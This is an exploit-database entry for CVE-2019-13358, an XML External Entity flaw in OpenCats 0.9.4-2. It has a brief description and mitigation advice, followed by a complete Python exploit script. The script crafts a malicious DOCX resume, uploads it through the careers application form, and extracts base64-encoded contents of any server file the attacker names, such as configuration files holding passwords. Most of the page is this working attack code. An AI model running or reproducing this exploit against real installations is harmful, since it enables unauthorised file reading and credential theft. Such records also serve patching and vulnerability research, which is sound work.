header-logo
Suggest Exploit
vendor:
OpenCats
by:
Jake Ruston
7,5
CVSS
HIGH
XML External Entity Injection (XXE)
611
CWE
Product Name: OpenCats
Affected Version From: < 0.9.4-3
Affected Version To: < 0.9.4-3
Patch Exists: YES
Related CWE: CVE-2019-13358
CPE: a:opencats:opencats:0.9.4-2
Metasploit: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2021

OpenCats 0.9.4-2 – ‘docx ‘ XML External Entity Injection (XXE)

OpenCats 0.9.4-2 is vulnerable to XML External Entity Injection (XXE) when processing user supplied DOCX files. An attacker can craft a malicious DOCX file containing an XML External Entity declaration in order to read arbitrary files from the server. This can be used to read sensitive files from the server, such as configuration files containing passwords, or to perform server-side request forgery (SSRF) attacks.

Mitigation:

To mitigate XML External Entity Injection (XXE) vulnerabilities, applications should disable XML external entity and DTD processing in all XML parsers. Additionally, applications should use a whitelist of allowed entities and/or filter out all entities from user input.
Source

Exploit-DB raw data:

# Exploit Title: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) 
# Date: 2021-09-20
# Exploit Author: Jake Ruston
# Vendor Homepage: https://opencats.org
# Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip
# Version: < 0.9.4-3
# Tested on: Linux
# CVE: 2019-13358

from argparse import ArgumentParser
from docx import Document
from zipfile import ZipFile
from base64 import b64decode
import requests
import re

xml = """
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [<!ENTITY file SYSTEM 'php://filter/convert.base64-encode/resource={}'>]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14">
    <w:body>
        <w:p>
            <w:r>
                <w:t>START&file;END</w:t>
            </w:r>
        </w:p>
        <w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616">
            <w:pgSz w:w="12240" w:h="15840"/>
            <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/>
            <w:cols w:space="720"/>
            <w:docGrid w:linePitch="360"/>
        </w:sectPr>
    </w:body>
</w:document>
"""

class CVE_2019_13358:
    def __init__(self):
        self.args = self.parse_arguments()

    def parse_arguments(self):
        parser = ArgumentParser()

        required = parser.add_argument_group("required arguments")
        required.add_argument("--url", help="the URL where OpenCATS is hosted", required=True)
        required.add_argument("--file", help="the remote file to read", required=True)

        args = parser.parse_args()

        if not args.url.startswith("http"):
            args.url = f"http://{args.url}"

        args.url = f"{args.url}/careers/index.php"

        return args

    def create_resume(self):
        document = Document()
        document.add_paragraph()
        document.save("resume.docx")

    def update_resume(self):
        with ZipFile("resume.docx", "r") as resume:
            resume.extractall()

        with open("word/document.xml", "w") as document:
            document.write(xml.format(self.args.file).strip())

        with ZipFile("resume.docx", "w") as resume:
            resume.write("word/document.xml")

    def get(self):
        params = { "m": "careers", "p": "showAll" }

        try:
            request = requests.get(self.args.url, params=params)
        except Exception as e:

            raise Exception("Failed to GET to the URL provided", e)

        id = re.search(r"ID=([0-9])*", request.text)

        if id is None:
            raise Exception("No vacancies were found")

        return id.group(1)

    def post(self, id):
        params = { "m": "careers", "p": "onApplyToJobOrder" }
        files = {
            "ID": (None, id),
            "candidateID": (None, -1),
            "applyToJobSubAction": (None, "resumeLoad"),
            "file": (None, ""),
            "resumeFile": open("resume.docx", "rb"),
            "resumeContents": (None, ""),
            "firstName": (None, ""),
            "lastName": (None, ""),
            "email": (None, ""),
            "emailconfirm": (None, ""),
            "phoneHome": (None, ""),
            "phoneCell": (None, ""),
            "phone": (None, ""),
            "bestTimeToCall": (None, ""),
            "address": (None, ""),
            "city": (None, ""),
            "state": (None, ""),
            "zip": (None, ""),
            "keySkills": (None, "")
        }

        try:
            request = requests.post(self.args.url, params=params, files=files)
        except Exception as e:
            raise Exception("Failed to POST to the URL provided", e)

        start = request.text.find("START")
        end = request.text.find("END")

        file = request.text[start + 5:end].strip()

        try:
            file = b64decode(file)
            file = file.decode("ascii").strip()
        except:
            raise Exception("File not found")

        print(file)

    def run(self):
        self.create_resume()
        self.update_resume()

        id = self.get()
        self.post(id)

CVE_2019_13358().run()